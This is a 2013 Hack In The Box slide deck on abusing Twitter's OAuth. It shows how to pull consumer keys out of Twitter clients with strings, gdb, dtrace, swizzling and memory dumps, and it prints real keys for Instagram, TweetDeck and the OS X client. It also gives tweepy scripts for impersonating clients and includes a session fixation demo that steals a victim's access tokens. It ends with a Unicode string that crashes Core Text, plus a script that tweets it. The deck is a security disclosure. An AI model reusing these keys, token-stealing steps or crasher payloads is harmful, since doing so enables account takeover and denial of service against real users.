Abusing Twitter API & OAuth Implementation

Nicolas Seriot

April 10th, 2013

Hack In The Box
Amsterdam, NL
Abstract

Since March 2013, Twitter’s new web API requires every request with a user context to be signed with OAuth. This mechanism is supposed to prevent abuse and also allow Twitter to ban third-party clients who do not adhere to their new, much stricter terms of service.

After studying how Twitter API uses OAuth, it turns out that the required authentication is inefficient in letting Twitter control third party applications. A rogue client can impersonate a ‘blessed’ client by using its OAuth consumer tokens and access the API unnoticed. Consumer tokens are supposed to be kept secret, but we’ll see various fun and dynamic reverse engineering techniques for extracting them from popular Twitter clients, including the latest versions for OS X and iOS.

We also found that Twitter allows several third-party clients to redirect oauth verifiers to a URL defined by the client. As you can impersonate the client, you can redirect the oauth verifier to your own pirate server. I’ll explain how to trick someone into giving you access tokens for his account without noticing and without moving away from Twitter’s secure website.

I’ll end by discussing the Twitter API from a security standpoint and explain that to a great extent, many issues are caused by a fundamental mistake – Taking OAuth authentication from the web to the desktop.
Bio

• iOS / Cocoa dev.
• Software Engineer
• Master in Economic Crime Investigation
• Twitter user since July, 2008
• Father of a 10 months old baby today!
Software Developer

What my friends think I do.

What my parents think I do.

What I think I do.

What society thinks I do.

What I actually do.
Agenda

1. Twitter
2. OAuth
3. Ripping Consumer Tokens
4. iOS / OS X + STTwitter
5. Discussion
now $8 billion valuation, top-10 most visited websites
• The author’s name and @username must be displayed to the right of the avatar.
• Reply, Retweet and Favorite Tweet actions must always be available.
• No other 3rd party actions similar to Follow, Reply, Retweet may be attached to a Tweet.
• The Twitter logo or Follow button for the Tweet author must always be displayed.
• The Tweet timestamp must always be linked to the Tweet permalink.
• A timeline must not be rendered with non-Twitter content. e.g. from other networks.

https://dev.twitter.com/terms/display-requirements

• Max. 100’000 users per Twitter client app.
• “Twitter discourages development in this area”
  https://dev.twitter.com/terms/api-terms
Enforcing / Breaking the Rules

• March 2013: OAuth authentication for every API request with user context

• "We reserve the right to revoke your app"  
  https://dev.twitter.com/terms/api-terms

• Can a rogue client spoof the identity of a regular client and use the API as it wants?
1. Twitter

2. OAuth

3. Ripping Consumer Tokens

4. iOS / OS X + STTwitter

5. Discussion
1. client sends a yellow token

2. server responds with a blue token

3. client sends a yellow token and signs the request with a red token

4. server responds with a blue token
“Use my account”

request_token

authorize

access_token

home_timeline

green tokens are for @nst021 with bit.ly
3 phases Auth.

green tokens are for
@nst021 with
Twitter.app
@nst021 / iOS

Twitter

xAuth: 1 phase Authentication

green tokens are for @nst021 with iOS
App. Only

Authentication

iOS

Twitter

oauth2/token

user_timeline

oauth2/invalidate_token

violet token is for iOS

consumer_secret

consumer_key

bearer_token
Consumer Tokens

- In all four cases, consumer tokens are needed to authenticate with Twitter.

(request_token)
1. Twitter
2. OAuth
3. Ripping Consumer Tokens
4. iOS / OS X + STTwitter
5. Discussion
A. dump the strings

```
$ strings /Applications/Twitter.app/Contents/MacOS/Twitter
3rJOl1ODzm9yZy63FACdg
5jPo**************************************
```
#!/usr/bin/env python

import tweepy

CONSUMER_KEY = '3rJOl1ODzm9yZy63FACdg'
CONSUMER_SECRET = '5jPo*******************************************'

auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth_url = auth.get_authorization_url()
print "Please authorize:", auth_url

verifier = raw_input('PIN: ').strip()
auth.get_access_token(verifier)

print "ACCESS_KEY:", auth.access_token.key
print "ACCESS_SECRET:", auth.access_token.secret
A. dump the strings

B. dump functions return values

Stack

Shared libraries

Heap

Data

Text

0x00000000

0xFFFFFFFF
$ gdb attach <PID of OS X accountsd>

(gdb) b -[OACredential consumerKey]
(gdb) finish
(gdb) po $rax
tXvOrlJDmLnTfiUqJ3Kuw

(gdb) b -[OACredential consumerSecret]
(gdb) finish
(gdb) po $rax
AWcB*****************************************************
$ gdb attach <PID of iPhoneSimulator accountsd>

(gdb) b -[OACredential consumerKey]
(gdb) finish
(gdb) po (int*)$eax
WXZE9QillkIzpTANgLNT9g

(gdb) b -[OACredential consumerSecret]
(gdb) finish
(gdb) po (int*)$eax
Aau5******************************************************************
A. dump the strings

B. dump functions return values

C. dump deallocated pointers
Logging Freed Strings

$ sudo dtrace -n 'pid$target::free:entry { \n printf("%s", arg0 != NULL ? \n copyinstr(arg0) : \n "<NULL>"); }' -p 10123
@implementation NSString (XX)
+ (void)load {
  Swizzle([NSString class],
    @selector(dealloc),
    @selector(my_dealloc));
}
-
(gdb) p (char)[[NSBundle bundleWithPath:
  @"/Library/Frameworks/XX.framework"] load]
A. dump the strings

B. dump functions return values

C. dump deallocated pointers

D. dump the whole process memory

0x00000000

Stack

Shared libraries

Heap

Data

Text

0xFFFFFFFF
Dumping Process Memory

# from Mac OS X Internals by Amit Singh
$ sudo ./gcore64 -c /tmp/dump.bin 4149

# remove Mach-O magic header
$ printf '\x00\x00\x00\x00\x00' | \
   dd conv=notrunc of=/tmp/dump.bin

$ strings dump.bin | \
   sort -u > /tmp/dump.txt

# key=consumerSecret&
$ egrep "[a-zA-Z0-9]{20}&" /tmp/dump.txt
A. dump the strings

B. dump functions return values

C. dump deallocated pointers

D. dump the whole process memory

E. search Google / pastebin / GitHub
Agenda

1. Twitter
2. OAuth
3. Ripping Consumer Tokens
4. iOS / OS X + STTwitter
5. Discussion
OS X Twitter Credentials

Accounts.framework

@nst021
xxxxxxx
can use OS X consumer tokens

STTwitterAPIWrapper

+ twitterAPIWith...
- getHomeTimeline
- postStatus

can use custom consumer tokens

STTwitterOAuthProtocol

STOAuthOSX

STTwitterOAuth | STTwitterAppOnly

can use “app only” authentication

STHTTPRequest

Accounts.framework
Social.framework
STTtwitter

https://github.com/nst/STTtwitter
demo from 37.31517, 141.02580
to be integrated into Adium
TwitHunter

https://github.com/nst/TwitHunter
Conversations Visualization

• as Usenet client MacSOUP did many years ago
Mapping Binary to Unicode

https://github.com/nst/UniBinary

165 bytes in 106 characters, fit in a tweet!
Dissection of a hacky but valid Intel 32 bits, 164 bytes, Mach-O "Hello world" executable file.

$ shasum micro_macho
  e67bddcc7ba3f8446a63104108c2905f57baadbe

http://seriot.ch/hello_macho.php
Nicolas Seriot, 2013-01-06 19:00

Dissection of a hacky but valid Intel 32 bits, 164 bytes, Mach-O "Hello world" executable file.

$ shasum micro_macho
  e67bddcc7ba3f8446a63104108c2905f57baadbe

http://seriot.ch/hello_macho.php
Nicolas Seriot, 2013-01-06 19:00

<table>
<thead>
<tr>
<th>Offset</th>
<th>Actual bytes</th>
<th>Struct</th>
<th>Field</th>
<th>Value</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>CE FA ED FE</td>
<td>mach_header</td>
<td>magic</td>
<td>MH_MAGIC</td>
<td>mach magic number identifier</td>
</tr>
<tr>
<td>0x04</td>
<td>07 00 00 00</td>
<td></td>
<td>cpu_type</td>
<td>CPU_subtype</td>
<td>CPU_SUBTYPE_1386_ALL machine specifier</td>
</tr>
<tr>
<td>0x08</td>
<td>03 00 00 00</td>
<td></td>
<td>filetype</td>
<td>MH_EXE</td>
<td>type of file</td>
</tr>
<tr>
<td>0x0C</td>
<td>02 00 00 00</td>
<td></td>
<td>ncmds</td>
<td>2</td>
<td>number of load commands</td>
</tr>
<tr>
<td>0x10</td>
<td>88 00 00 00</td>
<td></td>
<td>sizeOfcmds</td>
<td>0x88 (136)</td>
<td>the size of all the load commands</td>
</tr>
<tr>
<td>0x14</td>
<td>01 00 00 00</td>
<td></td>
<td>flags</td>
<td>MH_RNOUNDEFS</td>
<td>flags</td>
</tr>
<tr>
<td>0x18</td>
<td>01 00 00 00</td>
<td></td>
<td>cmd</td>
<td>LC_SEGMENT</td>
<td>LC_SEGMENT</td>
</tr>
<tr>
<td>0x1C</td>
<td>38 00 00 00</td>
<td></td>
<td>cmdsize</td>
<td>0x38 (56)</td>
<td>includes sizeof section structs</td>
</tr>
<tr>
<td>0x20</td>
<td>48 65 6C 6C</td>
<td></td>
<td>segname</td>
<td>'Hello'</td>
<td>segment name</td>
</tr>
<tr>
<td>0x24</td>
<td>6F 20 77 6F</td>
<td></td>
<td>flags</td>
<td>db 'o wo'</td>
<td>flags</td>
</tr>
<tr>
<td>0x28</td>
<td>72 6C 64 0A</td>
<td></td>
<td>cmd</td>
<td>LC_UNIXTHREAD</td>
<td>LC_UNIXTHREAD</td>
</tr>
<tr>
<td>0x2C</td>
<td>00 FF FF FF</td>
<td></td>
<td>vmaddr</td>
<td>0x0</td>
<td>memory address of this segment</td>
</tr>
<tr>
<td>0x30</td>
<td>00 00 00 00</td>
<td></td>
<td>vmsize</td>
<td>0x1000</td>
<td>memory size of this segment</td>
</tr>
<tr>
<td>0x34</td>
<td>00 10 00 00</td>
<td></td>
<td>fileoff</td>
<td>0x80</td>
<td>file offset of this segment</td>
</tr>
<tr>
<td>0x38</td>
<td>00 00 00 00</td>
<td></td>
<td>filesize</td>
<td>0x2E (46)</td>
<td>amount to map from the file</td>
</tr>
<tr>
<td>0x3C</td>
<td>2E 00 00 00</td>
<td></td>
<td>maxprot</td>
<td>rwx</td>
<td>maximum VM protection</td>
</tr>
<tr>
<td>0x40</td>
<td>07 FF FF FF</td>
<td></td>
<td>initprot</td>
<td>r-x</td>
<td>initial VM protection</td>
</tr>
<tr>
<td>0x44</td>
<td>05 FF FF FF</td>
<td></td>
<td>nsects</td>
<td>0</td>
<td>number of sections in segment</td>
</tr>
<tr>
<td>0x48</td>
<td>00 00 00 00</td>
<td></td>
<td>flags</td>
<td>MH_RNOUNDEFS</td>
<td>flags</td>
</tr>
<tr>
<td>0x4C</td>
<td>05 FF FF FF</td>
<td></td>
<td>cmd</td>
<td>LC_UNIXTHREAD</td>
<td>LC_UNIXTHREAD</td>
</tr>
<tr>
<td>0x50</td>
<td>00 00 00 00</td>
<td></td>
<td>cmdsize</td>
<td>0x50 (80)</td>
<td>total size of this command</td>
</tr>
<tr>
<td>0x54</td>
<td>01 00 00 00</td>
<td></td>
<td>flavor</td>
<td>x86_THREAD_STATE32</td>
<td>flavor of thread state</td>
</tr>
<tr>
<td>0x58</td>
<td>10 00 00 00</td>
<td></td>
<td>count</td>
<td>0x10 (16)</td>
<td>count of threads in thread state</td>
</tr>
<tr>
<td>0x5C</td>
<td>6A UC 68 24</td>
<td></td>
<td>eax</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x60</td>
<td>00 00 00 6A</td>
<td></td>
<td>ebx</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x64</td>
<td>01 B0 04 83</td>
<td></td>
<td>ecx</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x68</td>
<td>EC 04 CD 80</td>
<td></td>
<td>edx</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x6C</td>
<td>83 C4 10 6A</td>
<td></td>
<td>esi</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x70</td>
<td>00 EB 11 FF</td>
<td></td>
<td>ebp</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x74</td>
<td>00 00 00 00</td>
<td></td>
<td>esp</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x78</td>
<td>FF FF FF FF</td>
<td></td>
<td>eflags</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x7C</td>
<td>68 00 00 00</td>
<td></td>
<td>eip</td>
<td>0x68</td>
<td></td>
</tr>
<tr>
<td>0x80</td>
<td>00 01 83 EC</td>
<td></td>
<td>cs</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x84</td>
<td>04 CD 80 FF</td>
<td></td>
<td>ds</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x88</td>
<td>FF FF FF FF</td>
<td></td>
<td>es</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x8C</td>
<td>00 00 00 00</td>
<td></td>
<td>fs</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0x90</td>
<td>FF FF FF FF</td>
<td></td>
<td>gs</td>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>

Mach-O executable file, 32 bits, i386
one .text segment to be loaded in a 1kB memory page
the initial state of the registers, the entry point $eip is at 0x68

https://seriot.ch/hello_macho.php
Pack 3 Bytes into 2 Unicode Characters

<table>
<thead>
<tr>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>10101011</td>
<td>11001101</td>
<td>11101111</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
[-----------] [-----------]
ABC          DEF
\\u4E00+0xABC   \u4E00+0xDEF

https://github.com/nst/UniBinary
1. Twitter

2. OAuth

3. Ripping Consumer Tokens

4. iOS / OS X + STTwitter

5. Discussion
1. Taking OAuth from web to Desktop was a conceptual error. Consumer tokens simply just cannot be kept secret on the Desktop.
2. Twitter cannot realistically revoke leaked keys from popular clients, especially from OS X / iOS.

3. xAuth vs. HTTP Digest Authentication: client applications don’t need to store passwords, but this password is sent over the network in the request token phase.

4. This new “App Only” authentication is both ineffective and dangerous.
Use the consumer tokens to get the bearer token and exhaust the limits. Denial of service.

And now you can invalidate the bearer token.

Denial of service for “Some App.”!
5. OAuth is a **convoluted process** which cannot reliably identify the client, and additionally puts the users at risk, eg.: 
- new password do not invalidate existing access tokens
- badly configured applications expose users to **session fixation attack**

Session Fixation Attack Demo
The Pirate

request_token with custom callback

authorize

access_token

home_timeline

The Victim

verifier is sent to the custom callback

eg. tweetdeck://xxx

authorize

access_token

home_timeline

The Victim authorizes his own account, but Twitter sends the verifier to the pirate

access tokens!
The Pirate

Twitter Client: TweetDeck
Consumer Key: yT577ApRtZw51q4NPMPPOQ
Consumer Secret: 3neq
OAuth Callback: http://seriot.ch/twitter.php
Status: https://api.twitter.com/oauth/authorize?oauth_token=g7bi36lg64CWpRRzf3cV78TNIs5G1BtmtEZaGq8&oauth_token_secret=HwrKw
mXYu2AOn9Qoz02yU9iSL82Ga1Ch0bV0W4yA&oauth_callback_confirmed=true

The Victim

Authorize TweetDeck to use your account?
This application will be able to:
• Read Tweets from your timeline.
• See who you follow, and follow new people.
• Update your profile.
• Post Tweets for you.
• Access your direct messages.

Twitter

redirect

redirect

seriot.ch/twitter.php

Twitter Attack <nicolas@seriot.ch>
To: Nicolas Seriot <nicolas@seriot.ch>
Reply-To: Twitter Attack <nicolas@seriot.ch>
Twitter Attack

oauth_token:g7bi36lg64CWpRRzf3cV78TNIs5G1BtmtEZaGq8
oauth_verifier:8hVGPz041YkINLWL6L5L8LCubALqHrjSiyupplq

PIN: 041YkINLWL6L5L8LCubALqHrjSiyupplq
OAuth Token: 1294332967-1uarsUVGvX3LPCnuO12vz8IzQahrQamOE7bCJoF
OAuth Token Secret: brmf:
Status: Access granted for nst022
The Risks

- Hack some news agency, announce $AAPL profit warning and... profit!
- Make fun of your favorite politician
- Blackmail... you name it
6. I have to conclude that the real grounds for using OAuth is neither “security” nor spam fighting but desire to control third-party client applications, possibly to please big media, consumers and advertisers.

7. Sadly for Twitter, ensuring that the requests come from a certain client application is a very hard problem, and I am not sure if it can be solved, except of course by killing the API going the Skype way.
Recap

1. Twitter
2. OAuth
3. Ripping Consumer Tokens
4. iOS / OS X + STTwitter
5. Discussion
Bonus Slides…

…if we have the time
Abusing Twitter API Clients

Nicolas Seriot
@nst021

Here is a nice little Core Text crasher for OS X: $ python -c "print u'\u0647\u0020\u0488\u0488\u0488''"

1 RETWEET  5 FAVORITES

10:49 AM - 25 Mar 13
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import tweepy

# instagram
CONSUMER_KEY = "7YBPrscvh0RIThrWYVeGg"
CONSUMER_SECRET = "sMO1vDyJ9A0xfOE6RyWNjhTUS1sNqsa7Ae14gOZnw"

# nst022
OAUTH_TOKEN = "1294332967-LKFa8SA3vmSf8bak..."
OAUTH_SECRET = "DtOK..."

auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth.set_access_token(OAUTH_TOKEN, OAUTH_SECRET)

api = tweepy.API(auth)

s = u'\u0647\u0020\u0488\u0488\u0488\u0488'

print api.update_status(s)
Abusing Twitter API Clients

$ gdb Twitter

(gdb) r
Starting program: /Applications/Twitter.app/Contents/MacOS/Twitter

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000001084e8008
0x00007fff9432ead2 in vDSP_sveD ()

(gdb) bt
#0 0x00007fff9432ead2 in vDSP_sveD ()
#1 0x00007fff934594fe in TStorageRange::SetStorageSubRange ()
#2 0x00007fff93457d5c in TRun::TRun ()
#3 0x00007fff934579ee in CTGlyphRun::CloneRange ()
#4 0x00007fff93466764 in TLine::SetLevelRange ()
#5 0x00007fff93467e2c in TLine::SetTrailingWhitespaceLevel ()
#6 0x00007fff93467d58 in TRunReorder::ReorderRuns ()
#7 0x00007fff93467bfe in TTypesetter::FinishLineFill ()
#8 0x00007fff934858ae in TFramesetter::FrameInRect ()
#9 0x00007fff93485110 in TFramesetter::CreateFrame ()
#10 0x00007fff93484af2 in CTFramesetterCreateFrame ()
...

Twitter.app
Socialite.app
Twitterrific.app
Twitter: @nst021

Web: http://seriot.ch/abusing_twitter_api.php